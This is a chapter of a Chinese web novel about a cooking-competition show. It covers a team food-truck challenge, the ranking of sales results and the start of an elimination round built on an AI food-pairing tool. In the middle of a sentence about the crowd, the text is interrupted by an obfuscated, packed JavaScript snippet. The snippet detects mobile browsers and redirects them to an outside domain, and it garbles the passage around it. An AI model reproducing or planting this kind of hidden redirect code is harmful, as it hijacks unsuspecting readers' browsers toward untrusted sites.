于是丽贝卡只能和自己的同胞安迪分到一起。 “你们对这个分组结果满意吗？”梅森饶有兴趣地问。 话是这么说，却只盯着蒋醉余一人。 蒋醉余只好简单回应道：“都行。” 被特别关注的对象反应不大，却另有人主动表达了不满。 蒋醉余话音刚落，就听到丽贝卡哼了一声：“早知道今天这种情况，我上周说什么也要再努力一点，好歹不要沦落到失去选择权。” 她对安迪可没什么好感。 这季节目最奇妙的地方大概就在于，反而是来自同一国家的选手之间火药味更浓。从前有板鸭国的胡安和加布里埃尔针尖对麦芒，现在胡安被淘汰了，安迪和丽贝卡的不合又浮上水面。 “这也是我想说的话，”安迪嗤道，“没人会想和烧了厨房的阿姨在一组吧。” 丽贝卡脸都白了，她分明只比安迪大两岁。 安迪这话让在场的大多数人都脸色不虞起来，好在节目组只想要看点，并不真的期待他们打起来。 夏洛特有些严厉地说：“好了，我希望你们把这种活力留到烹饪的时候去，接下来你们可以去找到自己的学生搭档讨论菜色了。” 像这种在移动餐车上进行、需要大批量制作的室外比赛，导演自然不会把整个食材库都搬过来，只提供大部分常见食材，不过这也绝对够用了。 齐新雨迷茫地看着向自己走来的两人，他们这些来帮忙的学生还没有得知需要再次结组的消息。 站在节目组给每组分配的讨论桌旁边，蒋醉余给两人互相介绍：“粥川高梧，我们这轮比赛的组长。泽菲尔，我的……朋友。” “朋友？所以我们不仅少一个人，还少了二十分钟备菜时间？”粥川瞪大了眼睛。 蒋醉余无辜道：“他们都知道，我以为有人告诉你了。” “那行吧，至少考虑菜品的时间比别人更充裕。”粥川闭了闭眼。 这种需要当场接单贩售的场合，不管前期准备得有多么充分，真正到制作时也难免手忙脚乱。 再加上他们从人工和实践上都有劣势，制定菜单最重要的一点就是菜品工序要少、食物种类要少。 “首先胡萝卜丝、土豆丝之类的就可以排除掉了，”粥川一边说一边在纸上记录，“削皮擦丝的工程量太大了。” 他看向齐新雨：“泽菲尔，你知道你们学校的学生对食物的口味或者卖相之类的有什么偏好吗？” 齐新雨道：“没有啊，美术生也是正常人啊。一定要说的话，时装学院那边有开服装表演专业，他们对健康饮食要求比较高，但是好多人都是自己带饭的。” 对天天要上称公开处刑的未来模特们来说，外食不知道商家制作流程，难免碰上潜藏的高热量食物，也不能确保膳食平衡，所以大多选择自己做饭。 可众所周知，人类本能地会受到高油高糖饮食的吸引，炸鸡配甜品足以让大脑爆发式分泌多巴胺，看到寡淡青菜就愁眉苦脸的又岂止一个人。 “这刚好啊，本子国餐饮就是追求天然、健康、清淡，如何把健康食物做的美味我们是很有研究的。”粥川笑了起来。 蒋醉余不置可否：“那你有什么具体的想法吗？” 出于美观和味道考虑，寿司一般会使用放凉的米饭，在十一月的秋风里显得有些不合时宜；汤泡饭、茶泡饭虽然热乎乎但不太好拿，一旦汤汁洒出来就会是车祸现场。 “盖饭怎么样？亲子丼、牛丼之类的，浇头的选择可以有很多种。”粥川提议。 齐新雨指了指他们周围的环境：“打断一下，我们现在就在主图外面，图书馆里只有咖啡厅允许带食物，周边其它地方都和这个广场一样，没有桌子、可以坐的地方也不多。” 所以绝大多数学生如果在流动餐车上买了饭，要么就近坐到花坛边缘，要么干脆举着餐盒到附近学科楼里的休息室去。 “汉堡、热狗、塔可卷这些能直接上手的，或者至少能用叉子叉起来吃的，才是比较常见的餐品。” 至于本子国菜系，是真的很少出现在流动餐车上。 事情似乎陷入了僵局，适合手拿的寿司因为是冷食而被天气淘汰，适合秋季的热盖饭和拉面很难再没有桌椅的情况下享用。 “而实话实说，服装表演专业放在整个大学里也没占多少人，完全不必为了这一小撮轻度外食顾客纠结太多。”蒋醉余慢条斯理道。 与其说粥川是为了做轻食选择本子国菜系，还不如说他是打定主意以后从结果倒推原因。 “这么说来，蒋你是不想做日餐咯？”粥川问。 蒋醉余偏头看了他一眼：“我可没这么说，只是觉得这样可以多一些选择。” 他们虽然比别人多了二十分钟讨论时间，但也不能这样浪费，而应当抓紧时间决定菜品、做好分工，才能加快效率，以防自己在比赛中太过匆忙出现疏漏。 齐新雨毕竟只是个助手，没办法也不适合给出太多建议，蒋醉余又从来都表现得对输赢无所谓，反正他就算落入淘汰赛也不会让自己真的成为最后一名。 至于坚持要做本子国料理，那是粥川的想法，不是他蒋醉余的。 这话说出来绝对要让人吐血，齐新雨看着他一副“随便啊，都行啊，我就是个听令行动的组员”的样子，心想这要是我合作项目的同学，你就是咸鱼也要被我逼成鲨鱼。 幸亏粥川先生是个很内敛的人， 所以最后还是沉默了半天的粥川重新挑起话题：“说的也是，日料内容很丰富的。不如我们就做有馅饭团或者蒸猪肉包配素天妇罗。” “我好像没听清，”蒋醉余轻声道，“你能再重复一遍吗？” 粥川显得有些恼怒：“蒋，我们宽裕出来了二十分钟并不能成为你浪费时间的理由。” “我觉得这是个合理的请求，毕竟今天的风这么大。”蒋醉余摊手道。 “我说，”粥川一字一顿，“我们可以做蔬菜天妇罗，搭配有馅饭团或者蒸猪肉包。” “谢谢你的理解，这次我确定听清楚了，”蒋醉余笑了笑，“所以容我提醒一下，并不存在Japanese steamed pork buns，这是华夏的东西。” 发酵的白面团，里面包裹以猪肉为绝对主角的馅料，安稳躺在掌心的面皮被捏出漂亮的褶子，拿到锅上蒸熟。 它还有另一个名字，叫做小笼包。 “我相信粥川你一定是第一次团队赛太过紧张了，”蒋醉余飞快地在纸上列好菜单，“你既然是本子国裔，那就你来做天妇罗。而我相比包饭团还是更熟悉做华夏菜，主食和荤菜就定包子了。” 他把笔记本推到对方面前：“我这个越俎代庖的安排，你应该没有什么意见吧。” 桌边的空气一时间凝固下来。 “人气断层第一的蒋主动接管菜单策划，我当然不会有意见了。”粥川低头盯着纸上的字迹，哑声道。 话不投机半句多，眼看着对方开始挑挑拣拣地思考具体要用什么食材，蒋醉余也拉着齐新雨走到另一边。 “你们这样真的没问题吗？”齐新雨担忧道。 哪有比赛还没启动，组员就先闹掰了、进入各自为政状态的。 “你放心，”蒋醉余摇了摇头，“相处了这几周我还是有发言权的。他既然敢说出‘本子国包子’这个词——甚至在他选择和我组队的时候，就已经做好单打独斗的准备了。何况我还有意无意地坑了他一把。” 他们不再讨论组长，开始研究包子的馅料。 九州华夏面积实在太过广大，从西疆的羊肉烤包子，到东南的蟹黄灌汤包，嗜甜的南方人在婴儿拳头大小的肉包里加糖提味，豪迈好客的北地人端上的猪肉白菜大包子甚至直径能有十余公分。 只是粥川那一句“猪肉蒸包”撂下，也就断绝了蒋醉余的大多数选择。 作为正面迎战当然不能放过其中任意一种元素，生煎包、烤包子、各类花式馅料的包子全都和这场比赛说了再见。 “那就做最简单的，也没什么大不了的，”蒋醉余道，“我记得我上学的时候校门口有那种用塑料袋装的小笼包店，经典款就是只加了大葱的猪肉馅。” 就算只是这样简单的食材，他也自信能靠调味和配比做出美味。 被剥夺的时间很快就到了，蒋醉余和薇薇安所在的两组终于能够领取食材进入餐车。 把齐新雨安排去绞肉馅、切大葱之后，蒋醉余自己开始揉面。 成功发酵的包子皮应当又宣又软，气孔细密均匀，方便肉馅的汤汁渗入里层面皮，撕开还可以看到不太清晰的层理结构。 和面的时候先后几次加糖，最初的目的是要让酵母菌更“吃得更饱”，放出更多二氧化碳形成疏松小孔，后来则是希望给面皮增添几分甜味，让整个包子吃起来口味均衡。 把揉好的面团放到烤箱里隔水选择发酵模式，以保证他们能尽快备好全部材料、开始包包子这项浩大工程。 那边齐新雨已经按照三肥七瘦的比例绞好肉馅，大葱被斜切成片后自然散开。他又用沸水浸泡葱姜丝和花椒做成料水。 就算做的是大锅菜，苛刻的评委们也不会对选手们有任何口下留情，馅料调味的工作蒋醉余还是留给了自己。 他把料水慢慢倒入肉馅搅拌到水完全被肉馅吸收，无所事事的齐新雨凑到他身边小声道：“蒋先生，粥川拿了一批北极虾，正在剥壳。” 既然已经一拍两散，粥川当然要为自己谋算。 他看起来并不满足于单纯做蔬菜配菜，而选择给这份午餐再加一样肉菜。 天妇罗是本子国独有的一种面糊，以鸡蛋味主料，面筋较少，因此吃起来轻薄清脆。 而炸虾大概是所有天妇罗做法中最出名也最被广泛认可的一个了。 北极虾肉质鲜嫩软糯、自带甜香，优秀的天妇罗面糊轻盈蓬松，没有粘上面糊的虾尾被炸得鲜红酥脆，无论从视觉、听觉、味觉而言都是一场盛宴。 而他为天妇罗选择的配菜是秋葵和金针菇。 很多不喜欢秋葵的人都是讨厌它黏糊糊的口感，而炸过的秋葵却变得酥脆，又保留着原本清新独特的味道。 金针菇被分成一簇一簇的，质地劲道，香气浅淡，细细的菌杆更能突显面糊的独到之处。 而选择这两味蔬菜最重要的一点是，由于他一个人要完成给虾分头、剥壳、去虾线的工作，秋葵和金针菇都不需要太多处理，清洗之后简单切掉不要的部分或撕开即可，可以将工作重心全部交给北极虾。 完全是一副深思熟虑之后来者不善的架势。 “他抢你高光怎么办。”齐新雨忧心忡忡。 蒋醉余把葱花、五香粉、生抽等加到馅料里搅拌均匀，示意搭档去把烤箱里发酵好的面团拿出来分成小剂子：“抢就抢吧，又不是靠流量吃饭” “先生们，可以让我知道你们准备了什么吗？”夏洛特巡视到了他们这个餐车。 “华夏猪肉大葱包子，酱汁是姜醋汁，”蒋醉余指指自己面前巨大的肉馅盆，又把视线投向忙碌的粥川，“配炸虾、秋葵和金针菇天妇罗。” 夏洛特试探性地措了措辞：“听起来不像是女王国人习惯的日常餐点。” 齐新雨代为发言：“毕竟你们可是《美食之王》节目组啊，我想我的校友们也会和我一样期待一些平日里不多见的美食的。” 话说得冠冕堂皇，完全看不出来背后的真实原因是粥川一门心思想做本子餐，在播出后被深知前情的观众们刷了满屏的“哈哈哈”和“救场不易”。 “呀，泽菲尔，上午好，”夏洛特惊喜道，“他们瞒着我，只说蒋找来了他的朋友，没想到竟然是你——我的餐厅里还挂着你十四岁那年拍卖的画呢。” 蒋醉余已经开始擀面皮，闻言从案板上抬起头，惊讶地看了一眼自己的房东。 原著对反派过去的履历一笔带过，只说他原本是绘画天才，后来因为男神身死而黑化从商，却没有具体描述他有多么天赋卓绝。 不过想想也是，一个十八岁已经在读研究生，还被教授特许不用上课、能交作业就行的人，又怎么会是简单的三言两语能够概括的呢。 他一边听评委和齐新雨聊天，一边手上忙个不停。一个个圆形的剂子擀成薄片，他手腕一甩就被扔到了一碟面皮的顶端。 齐新雨余光扫见这连贯的动作，登时有些震撼。 如果这是在他小时候玩的那个造摩天大楼的游戏里面，大概系统都要忍不住连刷三遍“太棒了”。 面皮排得整整齐齐，圆心连成一条垂直案板的线，半径长度完全相同，一堆到一定高度了还能换个角度扔到下一堆。 蒋醉余甚至还有心思关注八卦：“大画家，怎么不聊啦？” 齐新雨无语道：“什么大画家，你就埋汰我吧。” “蒋，你以前在华夏可能不了解，”夏洛特一本正经地拆台，“他出名可早了，我没记错的话，他第一幅画应该是八岁的时候卖出去的。” “不过我之前做提拉米苏的时候他来节目组找我，好像没看到工作人员有什么别的反应。”蒋醉余困惑道。 夏洛特说：“毕竟他大部分作品都是在私人画展或者慈善义卖上出现的，可能一般人不太关注。” 她看向蒋醉余：“蒋，不如点评一下吧，这双拿画笔的手在后厨里表现如何？” “我自己选的搭档，那能不好吗，”蒋醉余笑着招呼，“小齐，可以来包包子了。” 只是谈笑间，他就已经擀出了半个案板的面皮，足够他们两个人快马加鞭包上一阵子了。 夏洛特用叉子沾了一点肉馅尝了尝味道：“那我期待你们的成品——另外，蒋、泽菲尔，不要忘记你们组还有一个粥川哦。” 言下之意大概是希望他们互相帮助、多交流一下。 “他看起来进度挺好的，”蒋醉余语调平淡，“一个本子国裔做传统的日料天妇罗应该没太多挑战。” 大家都不是需要老师手把手教学的小孩子了，评委不再过多要求，转身去查看粥川的菜品，剩下两个人又陷入繁杂的工作中。 蒋醉余擀的面皮不算很大。他计划是把包子做成成年人一到两口一个的大小，这样看起来精致美观，需要蒸的时间也短。 但纵然包子们大小相同，也还是能看出来是由两个人一起包出的完全两种风格。 蒋醉余前世给国宴菜大厨当学徒，这种重复性又需要一定技术的工作干的是最多的。现在虽然失去了当时形成的肌肉记忆，但也对怎样包最快、最省力仍然深有体悟。 他把面皮放在手中，从盆里舀一小团肉馅放在正中间，拎起一角迅速旋转捏合，很快就变成了一个圆滚滚的十八褶包子。 这样做出来的包子长相相差无几，折痕稍微不均匀，但总体而言称得上标致。 齐新雨则不同，他没有太多下厨经验，生怕自己做的包子漏了、歪了或怎样，对待每一只包子都仿佛是在做雕塑课作业，精雕细琢，一个一个褶看准位置再捏合。 褶花疏密一致，切线夹角等大，如果从正上方俯拍他的成品，大概真的可以实现中心对称。唯一的问题大概是，比起蒋醉余而言效率就要低上不少。 时钟慢慢走到十点五十，还有十分钟就要开始营业了。他们已经攒下不少半成品包子，两只蒸锅里的水沸腾起来，第一批的六屉包子被放到锅上中火汽蒸。 浅黄色的竹质蒸屉三个一摞架在锅上，是很多人一提起华夏包子时浮现在脑海中的景象，相较于不锈钢蒸架也能避免食物沾到金属味。 他们一早在备菜的时候就切好了姜丝放到香醋里，再加入一点米醋、酱油和砂糖提味，就这样泡了几十分钟。醋中染上姜丝的辛辣，又被咸、鲜和甜稍微冲淡，使它不至于过分刺激食客的感官。 蒋醉余依然在马不停蹄地一个人擀皮包包子，齐新雨过滤掉姜丝，往圆形塑料小盒中一个个地灌醋汁，再盖上盖子，并直接放到节目组提供的餐盒里，一会出餐的时候就可以装好热食直接交给顾客。 “请大家抓紧时间，前期准备应该已经完成了。”梅森举着扩音喇叭喊道。 节目组在图书馆大门外的广场上放置了五辆食品车，分别是红、黄、绿、蓝、紫五色，也就是每个小分队的队名。 粥川作为第一个组队的人，挑走了红色的车。不光车身以红色调为主，节目组给他们提供的餐盒油纸也是红色的。 牛皮纸色的可回收一次性餐盒，上面垫上红白条纹的油纸，看起来竟然也多了几分精致。 “还剩，五分钟。” 这个时候学生们其实已经下课了，收拾东西比较迅速的人已经走出了教学楼，好奇地看向广场里突然多出来的餐车。 粥川开始给虾和蘑菇裹上面糊，放进油锅里。天妇罗面糊轻薄，他选的也大多是好熟的食材，比如秋葵只需要炸两三分钟就可以。过早准备好炸货很容易让它们变凉或受潮，乃至在面衣内部持续保温受热，过分熟成。 哪怕蒋醉余对他暗搓搓使用“本子国蒸包”说法的行为颇为不齿，也依然不得不承认这位对手无论实力还是脑子都相当不错。 考虑到自己是个独身战斗的人，粥川没有选择像传统天妇罗一样再准备蘸汁或蘸粉，因为那意味着他会花费更多的精力，准备单独成盒的酱料或在油炸出锅后再增添一道撒料工序。 他向灯塔国的炸鸡面糊学习，在面糊中进行调味，极大地减轻了工作量，确保自己能够在规定时间内完成准备。 “距离开售还有最后一分钟！”评委情绪高涨地宣布。 拜《美食之王》节目组的好风评和高热度所赐，广场上已经有不少学生在排队。 他们有的是对号称“西方顶尖的业余厨师”的手艺感到好奇，也有人感到热闹就想围观，对买到食物的质量没有什么想法，甚至还有在场选手的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775105|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉丝。 只剩一分钟了，就算食物被热气蒸腾也收不到多大影响，选手们都预装起了餐盒。 蒋醉余和粥川在这个时候倒是表现出奇怪的“默契”，两个人默不作声地只盛自己那一份，再端着装包子或炸货的大盘子交换位置，全程没有一句交流，菜品看起来却很协调。 餐盒满满当当，左边角落里有一盒酱醋汁，旁边亲密地挤着六个比乒乓球略大一点的小包子，右边则放了两只炸虾、两根秋葵和两把金针菇。 红白条纹纸上，从暖白的包子到金黄的面衣，从橙红的虾尾到褐色的香醋，整体都是暖洋洋的黄色系。 他们拉开流动餐车的对外窗口，居高临下地看到攒动的人头，每辆车后面的队伍看起来都差不多长。窗口旁边是发光的小黑板，每组都提前挂好了菜单，价格则是导演组统一规定，不管做的是什么菜都没有差别。 齐新雨望着窗外小声道：“其实我以为我们的队伍会更长一点。” “可能大家对天妇罗和包子都没多熟悉，不太有信心，不过看起来我们也不至于沦落到最后。”蒋醉余安抚一笑。 一分钟的时长在眨眼之间就过去，终于，夏洛特大声宣布：“两个半小时的贩售时间，现在开始！” 作为人缘很好的本校学生，接单和传菜自然是由齐新雨来完成的。不过说是传菜，深知工作量有多庞大的选手们都只设计了一种菜品，毫无选择空间，传菜员要做的无非是记住每个学生买了几盒。 一份份菜品有条不紊地被送出，他目光偶尔向远处扫过，发现不少单独排队的人在离开后会与同伴回合，而他们的同伴手上拿着其他队伍的餐盒。 成年人不做选择，当然是每种味道都要尝尝。 “您好我要一份——齐先生？”齐新雨突然被一个熟悉的声音拉回手头的工作。 流动餐车的窗口很高，方便商家居高临下地总览全局了解顾客数量。他低头向下望去，看到一个年轻的女生正微微睁大眼睛。 女生看清正脸，惊讶道：“真的是您呀。” 他这才想起来自己什么时候见过这个姑娘。 他们学校有时候会给学生提供一些辅助教学的工作，算是一个兼职挣生活费的途径，还能顺便在教会别人的过程中巩固自己的知识和技法。 齐新雨虽然不缺钱，但也报名了画室的助教职位。他去年读大三的时候是一个油画系大一班里的指导老师，小班教学全组一共不到二十人，现在和这群学生已经快一年没见过了。 “一份是吗？”他熟练地报出价格。 “啊不，还是两份吧，”女生突然摇摇头，“我给娜塔莎也带一份。”齐新雨记得，娜塔莎也是自己班上的学生，和眼前的女生关系很好，经常同进同出。 他没有过多追问，点点头收了钱装好两份饭，女生过了几秒才从手机里抬起头：“谢谢齐先生，我在我们班的群里也通知了哦。” 他自身实力过硬，教学又耐心可靠，改画思路讲的明明白白，以前的学生们对他印象都相当不错，因此在得知消息后纷纷响应，没过几分钟他就看到队尾匆匆赶来了熟人。 齐新雨甚至还碰到了自己并不认识的同学和他打招呼：“没想到泽菲尔你也会参加这种活动，我在校美术馆看到过你的画，看风格还以为你是很喜静的人呢。” “来给朋友帮忙。”他笑了笑，轻描淡写道。 蒋醉余一边给包子捏褶一边调侃：“人缘真好，我这个搭档还真请对了——说起来，我还没看过你的作品呢。” 齐新雨愣了一下，飞快地轻声说：“也没什么好看的。” 忙碌总是让人察觉不到时间流逝，他们甚至数不清自己送出去了多少盒食物，听到导演“一个半小时过去了”的提示竟然还有些恍惚。 蒋醉余探头向窗外望了一眼，就看到人群中穿梭着几个举着摄像头的身影。 评委们已经带着执行导演和摄像师开始在现场随机找人进行采访了。 “能不能介绍一下你们买的午餐和吃完的感受呢？”夏洛特向几个在草坪上席地而坐的学生问道。 “当然可以，”一个反戴鸭舌帽的女生指了指他们面前的盒子，“我们一共有四个人，但是对自己的食量比较自信，所以在五个不同窗口全都买了饭，准备分着吃。” 介于大家定价一样，最后又是靠销售额进行比拼，全都买了就等于全都没买。 除了粥川和蒋醉余他们红队的小包子配天妇罗，还有绿队洛伦佐论角卖的披萨、蓝队薇薇安的法棍三明治、黄队伊拉的咖喱炒面。 谁也不服谁的紫队丽贝卡和安迪在勉强统一菜单以后各做各的，一个负责炸鸡，一个负责薯条配沙拉。 奇妙的巧合是，每一组都不约而同地在食物里加入了组长出身国家的元素。而像薇薇安和加布里埃尔一组，甚至还在做的三明治里放了切块的板鸭国鸡蛋土豆饼。 鸭舌帽说：“其实我没想过竟然会有披萨卖。番茄酱很美味，感觉是加了很多种食材和香料熬出来的，各种味道层次非常丰富，唯一的问题就是它刷得太少了。上面的配菜倒是和一般快餐店差不多。” 夏洛特眨眨眼，不知道该不该说这四位端水大师运气不太好。 洛伦佐他们组在估算用量的时候失误了，导致有披萨面团还没用完，酱料已经快要告罄，有大概六七张饼上面都只有薄薄一层酱。 但食客们可不知道厨房里这些鸡飞狗跳的意外，他们只会根据自己买到手的午餐，觉得这一组的菜品似乎没有其他组的好。 一起吃饭的另外几个人也七嘴八舌地发表自己的看法。 “我倒是比较喜欢紫色这组，”一个穿衬衫的男生说，“薯条上面淋的蒜香芝士酱很好，炸鸡鲜嫩、表皮酥脆，一口咬下去能很明显地察觉到汁水爆开。” “但是我不喜欢他们配的胡萝卜紫甘蓝沙拉，”另一个男生道，“胡萝卜和玉米是甜的，紫甘蓝是苦的，加的柠檬汁是酸的、盐是苦的、胡椒是辣的……我的天呐，简直像是联.合.国在我嘴里开会。” 味道杂乱的确是安迪的老毛病了，夏洛特无奈地想。 衬衫也皱了皱眉：“说的也是，感觉就像他画的色彩景物的用色一样。” 两个男生吵吵闹闹地互怼起来，最后一名短发女生摊摊手：“我就不一样了，我觉得都好吃。三明治下限这么低，在普通人看来各种咖喱和市售的咖喱块没什么区别，我很难想象竟然有人能把它们也制作出这样出众的味道。” “那么，”评委微笑着听完点评，“你们还没有提到红队，但是看餐盘似乎是吃完了的，是他们做得有什么问题吗？” 此话一出，忙着拌嘴的两人也不吵了，四名学生全都闭口不言。 “它不是好不好吃的问题，它真的是那种......那种很难评价的那种。”最终还是鸭舌帽说到。 夏洛特：“？” 你这个回答听起来确实挺难评价的。 学生们自己显然也意识到了自己语言的苍白匮乏，磕磕绊绊地解释：“其实一开始我们没打算买红队的食物的。” 他们只有四个人，对华夏和本子国菜品又没什么特殊偏爱，甚至以前也没怎么吃过，在做选择的时候首先排除掉了这一组。 还是短发女生提醒，以他们的饭量完全可以把五种午餐全都买了，大不了吃撑了下午一起泡健身房，红队这才得以“逃过一劫”。 “其实我根本没在中餐厅吃过包子，”衬衫男生说，“感觉他们的菜单上都是麻辣香锅、烤鱼之类的，所以完全想象不到这会是什么味。” 另一个男生想了想：“我倒是在华夏超市见过速冻包子，不过那个包子感觉能有女生拳头大。而且你们知道的，华夏超市一般也卖本子国、棒子国甚至金象国食物，根本分不清哪个是哪国的，万一华夏包子是另一种东西呢。” 鸭舌帽总结陈词：“所以我们虽然买了红队的食物，但只能说它很好吃，因为我们在此之前对这两种食物了解太少了。” 包子馅料咸鲜浓郁，面皮松软，内层被肉汤浸泡变得湿润入味；天妇罗酥脆轻盈，选用的三种食材都清新鲜甜，虽然是炸货却比常见的美式炸鸡清爽得多。 可他们没吃过别的包子，谁知道这是不是这种食物的平均水准呢？ “没关系的，你们只是食客，给出自己最主观的建议就好了，横向比较是我们评委的工作。”夏洛特宽慰道。 “不如我这样问吧，现在离售卖结束还有一段时间，如果你们还能再分吃下一份饭，你们愿意买哪一队的呢？” 沉默，是今日的校园。 短发女生捂脸哀嚎：“成年人不做选择，这也太难选了……” “那我可能还是选红队吧，我也不知道怎么评价亚洲食物的水准，但我相信《美食之王》选手做出来的一定不会差，趁着这个机会多吃两口。” “我替节目组感谢你的信任。”夏洛特笑了起来，不再为难他们。 她又走访了一些顾客，有独身一人的，有亲热黏糊的小情侣，也有三五成群的伙伴。 “现在看起来，对我们的红队来说有一个好消息和两个坏消息。”她对着镜头概括自己的采访收获。 好消息是，他们的回头客很多，大部分人都表示如果再买的话可能会选择红队。 坏消息则是，这群回头客大部分只能提供精神上的支持，实际已经完全吃饱了，打算再加餐的人并不多。 并且他们冷门的菜单在一开始就已经劝退了一部分人，在不能五种全买的群体中，摒弃红队食物的是最多的。 换句话说，就算他们的回头客比重更大，但一开始的顾客基数就比其他四队小，甚至可以说是输在了起跑线上。 只是现在比赛还没有完全结束，销售额的统计结果也一时半刻出不来，谁也不知道红队能不能靠这份口口相传的好评后来居上。 “距离比赛结束仅剩五分钟！”梅森站在广场中央发出提醒。 队伍靠后位置的学生开始探头探脑地观察，想要知道自己能不能买到午饭；选手们也竭尽所能加快速度，力求能在最后关头多接待几个人。 蒋醉余和粥川在先前的时间里疯狂赶工烹饪，如今积攒下来不少还没卖出去的成品，索性关了火离开灶台，也跟到窗口去做销售。 三个人一起出餐的效率提升不少，庞大的队伍正在以肉眼可见的速度变短。 节目组特意设计了从上午十一点到下午一点半的时长，正是因为学生们的课表大多是十一点到十二点、十二点到一点的排课。 在一点前后的流量峰值之后半个小时，下课的学生们基本已经离开了教学楼，排队人数的增长逐渐缓慢，选手们渐渐有了喘息余地。 蒋醉余不知道别人对这样的偷闲怎么看，他们组的时间倒是把控得刚刚好。 他把餐盒递给最后一名学生的同时，就听到评委响亮尖锐的哨音——时间到了。 他们成功完成了四五个小时不间断的大批量烹饪，选手们疲惫地长出一口气。 如果说摄影棚里只需要精雕细刻做一份的菜品是对技术和思维的考验，那么今天的团队赛就让他们见识到了什么是真正的后厨节奏。 每一名厨师都恨不得自己能有八只触手同时工作，还要面对时不时的翻车状况。材料备少了、肉没做熟、忙乱之下忘记调味或重复调味，又如红队一般在选手之间发生矛盾，这都是时有发生的事情。 “相信大家昨天都累坏了，但是请为自己鼓鼓掌，你们做到了，并且有一些选手表现突出。”奥斯汀说。 “在过去的团队赛中，每队往往有三到五人，”梅森接话道，“这是我们五年来第一次让一队只有两名选手，还要带上一两名厨艺不如你们的普通人。” 夏洛特举起一张卡片：“现在我的手中就是节目组连夜统计出来的销售额情况，前两名队伍的四名选手将获得淘汰豁免。” “而我要很遗憾地通知各位，蒋从不参加淘汰赛的不破金身——” “终于破了。” 29. 蟹肉柑橘沙拉 除了各组的排名，评委们还公开了他们昨天中午的营业额。 绿队的披萨不愧是大众食品，成功夺得榜首；第二三四名的成绩都很接近，彼此只相差十几镑，也就是两三份午餐的收入。 蒋醉余所在的红队，正是那个可怜又可惜的第三名。 “醉余，我们的采访显示，你在前几期比赛中的高人气为红队带来了不少客人，只是相比起菜单的天残来讲还不够。”梅森说。 这话简直是明摆着说粥川作为队长决策失误，反而要依靠队员力挽狂澜。 蒋醉余虽然和粥川在菜系上有些意见不合，但也不想给他当枪使，把他的话推回去：“我倒是对中国包子和日本天妇罗的魅力都很有信心。” 获得第二名的是蓝队的法棍三明治，因为方便携带而被很多急着赶去另一个校区上课的学生选择。 第四名则是紫队的炸鸡薯条，作为快餐中的绝对顶流，他们自己对这个结果很不满意。 做咖喱炒面的黄队既没有蒋醉余的人气加成，菜品又不是接受度最高的传统快餐，只好沦落末尾。 “丽贝卡一个北方人懂什么炸鸡。”安迪小声嘀咕。 美国南北炸鸡派别之争由来已久，就像中国人的甜咸豆腐脑一般隔三差五就会被提起。 但此时选手们尚按照分组两两站在一起，丽贝卡自然听到了这口天降大锅，冷笑道：“那还是胡萝卜紫甘蓝沙拉更奇怪一点。” 一场比赛过去，他们两个不仅没有和解，甚至矛盾愈发激化。 昨天中午，安迪看到队伍比其它组短，对着丽贝卡说出了“你要不去给男学生当裸模拉票”的匪夷所思建议，两人当即大吵起来。 这样一来不仅吓走了一批食客，还耽误了不少售卖时间，好几名选手在私下猜测结果都以为他们才该是最后一名。 夏洛特轻咳一声，提醒他们不要讲话，继续说道： “我们昨天就曾经提起过，这周比赛的赞助商是一家科技公司，相信大家都不理解这和我们的比赛主题有什么关系。” “原来他们不是借机会来宣传自己的爱心午餐基金的啊。”洛伦佐笑道。 这次的赞助商没有在挑战赛中给出固定金额的奖金，选手能得到的奖励是根据他们自己和对手的表现来决定的。 五组的销售额加在一起，就是冠军组两人每人能获得的金额，缺少的份额全都由科技公司补齐。 同时，他们还会为自家旗下的免费爱心午餐计划捐出总收入十倍的善款。 “全女王国范围内已经开设了几十处爱心午餐亭，”奥斯汀说，“除了能够免费获得美味的鸡蛋三明治和饮品以外，他们还考虑到了人们心灵的竭涸，为领取者提供人文关怀。 “午餐亭内置人工智能系统，可以陪领取者进行一些聊天。她也是我们在本轮淘汰赛将会见到的新朋友。” 梅森将一个平板电脑支在面前，白色液晶屏上是一个绿色的“·v·”符号笑脸，圆眼睛不时眨一眨。 平板刚被架好，就主动打招呼：“你们好，我是瑟琳娜。” “瑟琳娜，请你介绍一下今天淘汰赛的规则吧。”评委说。 科技公司之所以决定赞助节目组，是因为他们正在进行一个有关食物搭配的机器学习项目。 他们分析各种风味中的成分并进行归类，试图用绝对理性破开人类常识的限制、令厨艺创作拥有更多可能性。 “凯瑟琳曾经随机给我们提供过一些搭配，她认为草莓和蘑菇、咖啡和胡萝卜都是很好的伙伴，这个观点令人难以置信。”夏洛特说。 “但是事实证明，她是对的。”梅森看向台下若有所悟的十人。 “各位选手一定知道，夏洛特主厨的餐厅在今年夏天推出了一道蘑菇鸡肉汉堡配草莓酱，广受欢迎，正是与科技公司合作后的实验结果。” 鸡肉蘑菇制成的肉饼滑嫩多汁，草莓的清甜与蘑菇的鲜甜相得益彰，在香料的辅佐下融合得天衣无缝，相比传统的汉堡多了几分草木之气。 “所以你们今天的任务是，凯瑟琳会给出几样适配度高但听起来很颠覆的食材，请大家大开脑洞，把它们作出顶级水准——” 奥斯汀笑眯眯地一摊手：“才怪哦。” 选手们一愣，就听到梅森一本正经道：“作为《美食之王》的前十名，这种题目也太简单了。” “你们今天的真正考验，将由凯瑟琳和四位免赛选手一起决定。” 平板上的表情不知什么时候变成了貌似无辜的“OvO”，凯瑟琳用平静无波的电子音说： “请绿队队长洛伦佐随即说一种食材，例如柑橘、茄子、伏特加等。” 洛伦佐摸不清这到底是要干什么，随意道：“那就柑橘吧。” “好的，”凯瑟琳回答，“正在生成柑橘的食材适配度环状图表……模拟完毕。” 密密麻麻的图表出现在屏幕上，夏洛特语气轻描淡写地发出指令： “筛选出其中最不适宜搭配的十种。” ——“最不适宜”。 众人这才明白评委们的用意。 在这轮淘汰赛中，他们竟然要用科技手段认定的“难以搭配的食物”，做出高水平的菜肴。 人工智能的数据显示，柑橘和高硫食物、乳制品、橄榄、咖啡、海鲜和发酵产物等品种的相性都不高。 “接下来，请剩余三位免赛选手各自从这十种食材中挑选一样。” 